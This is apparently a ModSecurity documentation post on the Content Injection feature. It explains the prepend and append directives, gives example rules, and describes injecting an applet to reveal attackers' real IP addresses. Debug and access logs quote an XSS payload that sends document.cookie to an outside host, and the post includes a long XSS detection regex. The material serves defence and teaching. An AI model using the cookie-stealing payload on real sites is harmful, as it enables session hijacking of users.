ModSecurity Breach

ModSecurity: Features: Content Injection

Introduction

Web client browsers are not very secure. While we, as web site owners, may not be directly responsible, this situation is just as much a problem for us: law might hold us responsible and the conquered and potentially trusted client may pose a risk to our web site. Good examples of problems which blurs the lines between client and server are the Universal PDF XSS and Cross Site Request Forgery.

There is a lot a WAF can do with outbound traffic to help protect web applications from information leakages. There has not been as much progress made, however, in analyzing, manipulating or adding data to outbound dynamic code being sent from the web application to the clients. This is the concept that ModSecurity 2.5 introduces.

Concept

Previous versions of ModSecurity did not alter any of the actual transactional data (either inbound or outbound). ModSecurity would make copies of the data, place it into memory and then apply all data transformations, etc... and it would then decide what disruptive action to take if there was a rule match on the data. While this process works well in defense of the vast majority of web application security issues, there are still certain situations where it is limited. Client-side security issues are difficult to address in this architecture since the WAF has no visibility on the client (inside the DOM of the browser). With the new Content Injection capabilities in ModSecurity 2.5, we have initially added two actions which will allow ModSecurity rule writers to either "prepend" or "append" any text data to text-based (html) outbound data content.

The really useful idea is to inject a JavaScript fragment at the top of all outgoing HTML pages. For example you could detect JavaScript code in places where it is not expected, look for weird HTML/JavaScript code indicative of attacks, remove external links, and so on. While full support for DOM manipulation on the server is not available yet, ModSecurity 2.5 does support content injection, where you can inject stuff at the beginning and at the end of the page. The original idea behind this this feature was to make DOM XSS detection possible within the client browser. The idea is to inject a chunk of JavaScript to analyse the request URI from inside the browser to detect attacks.

Some other use-case ideas for Injecting code by using a WAF:

  • Ensure complex, dynamic behaviour independent of the application, including obfuscation & polymorphism.

  • Continues updates and potentially even an “in the cloud” service.

  • Provide protection for non-HTML pages by wrapping them in HTML (redirect, refresh, frames).

You could also use it to help secure session management:

  • Avoid the evasion options of Cookies & HTTP authentication (Amit Klein, “Path Insecurity”)

  • Perform implicit authentication to use to prevent session hijacking.

  • One time tokens “super” digest authentication.

Intercept JavaScript Events to perform:

  • Client side input validation (Amit Klein, “DOM Based Cross Site Scripting or XSS of the Third Kind”).

  • DOM Hardening and Anomaly Detection.

  • Rules/Signature based negative security.

Content Injection Directives and Variable Usage

SecContentInjection

Description: Enables content injection using actions append and prepend.

Syntax: SecContentInjection (On|Off)

Example Usage: SecContentInjection On

Version: 2.5.0

append

Description: Appends text given as parameter to the end of response body. For this action to work content injection must be enabled by setting SecContentInjection to On. Also make sure you check the content type of the response before you make changes to it (e.g. you don't want to inject stuff into images).

Action Group: Non-Disruptive

Processing Phases: 3 and 4.

Example:

SecRule RESPONSE_CONTENT_TYPE "^text/html" "nolog,pass,append:'<hr>Footer'"

prepend

Description: Prepends text given as parameter to the response body. For this action to work content injection must be enabled by setting SecContentInjection to On. Also make sure you check the content type of the response before you make changes to it (e.g. you don't want to inject stuff into images).

Action Group: Non-Disruptive

Processing Phases: 3 and 4.

Example:

SecRule RESPONSE_CONTENT_TYPE ^text/html "phase:3,nolog,pass,prepend:'Header<br>'"

Testing Injection Rules

Let's run a quick test with the following ruleset:

SecContentInjection On
SecDefaultAction "log,deny,phase:2,status:500,t:none,setvar:tx.alert=1"
SecRule TX:ALERT "@eq 1" "phase:3,nolog,pass,chain,prepend:'<script>alert(\"Why Are You Trying To Hack My Site?\")</script>'"
SecRule RESPONSE_CONTENT_TYPE "^text/html"

This rule set enables the Content Injection capabilities an then sets a default action. The important point to see on the SecDefaultAction line is the "setvar:tx.alert=1" action. What this will do is set a transactional variable if any of the rules trigger a match. The last two lines of the configuration are a chained rule set that runs in phase:3. The first part of the chain will simply look for the "alert" tx variable. If it is set, that means that the client's request has triggered one of the ModSecurity rules and is thus some form of attack. The second part of the rule then makes sure that the response data is of the correct content type (text/html). If so, this rule will then insert some javascript that will issue an alert pop-up box asking them why they are trying to hack the web site :)

Let's take a look at the modsec_debug.log file to see exactly how this new operator is functioning:

# cat modsec_debug.log | sed "s/^.*\[.\] //g" |less
Initialising transaction (txid CP2J2cCoD4QAAF2eAj8AAAAA).
Adding request argument (QUERY_STRING): name "param", value "<script>document.write('<img src=\"http:// 192.168.15.135:8000/' document.cookie '\"')</script>"
Transaction context created (dcfg 95da848).
--CUT--
Starting phase REQUEST_BODY.
This phase consists of 85 rule(s).
Recipe: Invoking rule 9654a98; [file "/usr/local/apache/conf/rules/modsecurity_crs_15_customrules.conf" ] [line "15"] [id "1"].
Rule 9654a98: SecRule "ARGS" "(?:\\b(?:(?:type\\b\\W*?\\b(?:text\\b\\W*?\\b(?:j(?:ava)?|ecma|vb)|applic ation\\b\\W*?\\bx-(?:java|vb))script|c(?:opyparentfolder|reatetextrange)|get(?:special|parent)folder)\\ b|on(?:(?:mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?:hange|lick)|s(?:elec|ubmi)t |(?:un)?load|dragdrop|resize|focus|blur)\\b\\W*?=|abort\\b)|(?:l(?:owsrc\\b\\W*?\\b(?:(?:java|vb)script |shell)|ivescript)|(?:href|url)\\b\\W*?\\b(?:(?:java|vb)script|shell)|background-image|mocha):|s(?:(?:t yle\\b\\W*=.*\\bexpression\\b\\W*|ettimeout\\b\\W*?)\\(|rc\\b\\W*?\\b(?:(?:java|vb)script|shell|http):) |a(?:ctivexobject\\b|lert\\b\\W*?\\())|<(?:(?:body\\b.*?\\b(?:backgroun|onloa)d|input\\b.*?\\btype\\b\\ W*?\\bimage|script|meta)\\b|!\\[cdata\\[)|(?:\\.(?:(?:execscrip|addimpor)t|(?:fromcharcod|cooki)e|inner html)|\\@import)\\b)" "capture,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'Cr oss-site Scripting (XSS) Attack. Matched signature <%{TX.0}>',id:'1',severity:'2'"
Expanded "ARGS" to "ARGS:param".
CACHE: Enabled
CACHE: Fetching ARGS:param 1;htmlEntityDecode
CACHE: Caching 1;htmlEntityDecode="<script>document.write('<img src="http://192.168.15.135:8000/' docum ent.cookie '"')</script>"
T (0) htmlEntityDecode: "<script>document.write('<img src="http://192.168.15.135:8000/' document.cookie '"')</script>"
CACHE: Fetching ARGS:param 2;htmlEntityDecode,lowercase
CACHE: Caching 2;htmlEntityDecode,lowercase="<script>document.write('<img src="http://192.168.15.135:80 00/' document.cookie '"')</script>"
T (0) lowercase: "<script>document.write('<img src="http://192.168.15.135:8000/' document.cookie '"')</ script>"
Executing operator "rx" with param "(?:\\b(?:(?:type\\b\\W*?\\b(?:text\\b\\W*?\\b(?:j(?:ava)?|ecma|vb)| application\\b\\W*?\\bx-(?:java|vb))script|c(?:opyparentfolder|reatetextrange)|get(?:special|parent)fol der)\\b|on(?:(?:mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?:hange|lick)|s(?:elec| ubmi)t|(?:un)?load|dragdrop|resize|focus|blur)\\b\\W*?=|abort\\b)|(?:l(?:owsrc\\b\\W*?\\b(?:(?:java|vb) script|shell)|ivescript)|(?:href|url)\\b\\W*?\\b(?:(?:java|vb)script|shell)|background-image|mocha):|s( ?:(?:tyle\\b\\W*=.*\\bexpression\\b\\W*|ettimeout\\b\\W*?)\\(|rc\\b\\W*?\\b(?:(?:java|vb)script|shell|h ttp):)|a(?:ctivexobject\\b|lert\\b\\W*?\\())|<(?:(?:body\\b.*?\\b(?:backgroun|onloa)d|input\\b.*?\\btyp e\\b\\W*?\\bimage|script|meta)\\b|!\\[cdata\\[)|(?:\\.(?:(?:execscrip|addimpor)t|(?:fromcharcod|cooki)e |innerhtml)|\\@import)\\b)" against ARGS:param.
Target value: "<script>document.write('<img src="http://192.168.15.135:8000/' document.cookie '"')</scr ipt>"
Added regex subexpression to TX.0: <script
Operator completed in 805 usec.
Setting variable: tx.alert=1
Set variable "tx.alert" to "1".
Ctl: Set auditLogParts to ABIEFHZE.
Rule returned 1.
Match, intercepted -> returning.
Resolved macro %{TX.0} to "<script"
Access denied with code 500 (phase 2). Pattern match "(?:\b(?:(?:type\b\W*?\b(?:text\b\W*?\b(?:j(?:ava) ?|ecma|vb)|application\b\W*?\bx-(?:java|vb))script|c(?:opyparentfolder|reatetextrange)|get(?:special|pa rent)folder)\b|on(?:(?:mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?:hange|lick) .. ." at ARGS:param. [file "/usr/local/apache/conf/rules/modsecurity_crs_15_customrules.conf"] [line "15"] [id "1"] [msg "Cross-site Scripting (XSS) Attack. Matched signature <<script>"] [severity "CRITICAL"]
Time #2: 14304
Hook insert_error_filter: Adding output filter (r 9747ca0).
Output filter: Receiving output (f 9749ac8, r 9747ca0).
Starting phase RESPONSE_HEADERS.
This phase consists of 1 rule(s).
Recipe: Invoking rule 9653e90; [file "/usr/local/apache/conf/rules/modsecurity_crs_15_customrules.conf" ] [line "6"].
Rule 9653e90: SecRule "TX:ALERT" "@eq 1" "phase:3,log,pass,chain,prepend:'<script>alert(\"Why Are You T rying To Hack My Site?\")</script>'"
Expanded "TX:ALERT" to "TX:alert".
CACHE: Disabled - TX:alert value length=1, smaller than minlen=15
Executing operator "eq" with param "1" against TX:alert.
Target value: "1"
Operator completed in 711 usec.
Setting variable: tx.alert=1
Set variable "tx.alert" to "1".
Rule returned 1.
Match -> mode NEXT_RULE.
Recipe: Invoking rule 9654380; [file "/usr/local/apache/conf/rules/modsecurity_crs_15_customrules.conf" ] [line "7"].
Rule 9654380: SecRule "RESPONSE_CONTENT_TYPE" "^text/html"
CACHE: Enabled
Executing operator "rx" with param "^text/html" against RESPONSE_CONTENT_TYPE.
Target value: "text/html; charset=iso-8859-1"
Operator completed in 13 usec.
Setting variable: tx.alert=1
Set variable "tx.alert" to "1".
Warning. Pattern match "^text/html" at RESPONSE_CONTENT_TYPE. [file "/usr/local/apache/conf/rules/modse curity_crs_15_customrules.conf"] [line "6"]
Rule returned 1.
Match -> mode NEXT_RULE.
Content Injection: Removing headers (C-L, L-M, Etag, Expires).
Output filter: Bucket type HEAP contains 535 bytes.
Output filter: Bucket type EOS contains 0 bytes.
Output filter: Completed receiving response body (buffered full - 535 bytes).

--CUT--

Use-Case Example: Identifying Real IP Addresses

One of the biggest challenges of doing incident response during web attacks is to try and trace back the source IP address information to identify the "real" attacker's computer. The reason why this is so challenging is that attackers almost always loop their attacks through numerous open proxy servers or other compromised hosts where they setup connection tunnels. This means that the actual IP address that shows up in the victims logs is most likely only the last hop in between the attacker and the target site. One way to try and tackle this problem is instead of relying on the TCP-IP address information of the connection, we attempt to handle this at the HTTP layer.

Web security researches (such as Jeremiah Grossman) have conducted quite a bit research in area of how blackhats can send malicious javascript/java to clients. Once the code executes, it can obtain the client's real (internal NAT) IP address. With this information, the javascript code can do all sorts of interesting stuff such as port scan the internal network. In our scenario, the client is not an innocent victim but instead a malicious client who is attacking our site. The idea is that this code that we send to the client will execute locally, grab their real IP address and then post the data back to a URL location on our site. With this data, we can then perhaps initiate a brand new incident response engagement focusing in on the actual origin of the attacks!

The following rule uses the same data as the previous example, except this time, instead of simply sending an alert pop-up box we are sending the MyAddress.class java applet. This code will force the attacker's browser to initiate a connection back to our web server.

SecRule TX:ALERT "@eq 1" "phase:3,nolog,pass,chain,prepend:'<APPLET CODE=\"MyAddress.class\" MAYSCRIPT WIDTH=0 HEIGHT=0><PARAM NAME=\"URL\" VALUE=\"grab_ip.php?IP=\"><PARAM NAME=\"ACTION\" VALUE=\"AUTO\"></APPLET>'"
SecRule RESPONSE_CONTENT_TYPE "^text/html"

So, if an attacker sends a malicious request that ModSecurity triggers on, this rule will then fire and it will send the injected code to the client. Our Apache access_logs will show data similar to this:

203.160.1.47 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/foo.cgi?param=%3Cscript%3Edocument.write('%3Cimg%20src=%22http://hackersite/'+document.cookie+'%22')%3C/script%3E HTTP/1.1" 500 676
203.160.1.47 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/grab_ip.php?IP=222.141.50.175 HTTP/1.1" 404 207

As you can see, even though the IP address in the access_logs shows 203.160.1.47, the data returned in the QUERY_STRING portion of the second line shows that the real IP address of the attacker is 222.141.50.175. This would mean that in this case, the attacker's system was not on a private network (perhaps just connecting their computer directly to the internet). Attacker's computer -> Proxy -> Proxy -> etc... -> Target Website.

Caveats

This example is extremely experimental. As the previous section indicates, if the attacker were behind a router (on a private LAN) then the address range would have probably been in the 192.169.xxx.xxx range. This type of data would not be as useful for our purposes as it wouldn't help for a traceback.

Conclusion

Hopefully you can now see the potential power of the content injection capability in ModSecurity. The goal of this document was to get you thinking about the possibilities. For other ideas on the interesting types of javascript that we could inject, check out PDP's AttackAPI Atom database. ModSecurity will eventually expand this functionality to allow for injecting content at specific locations of a response body instead of just at the beginnin or at the end.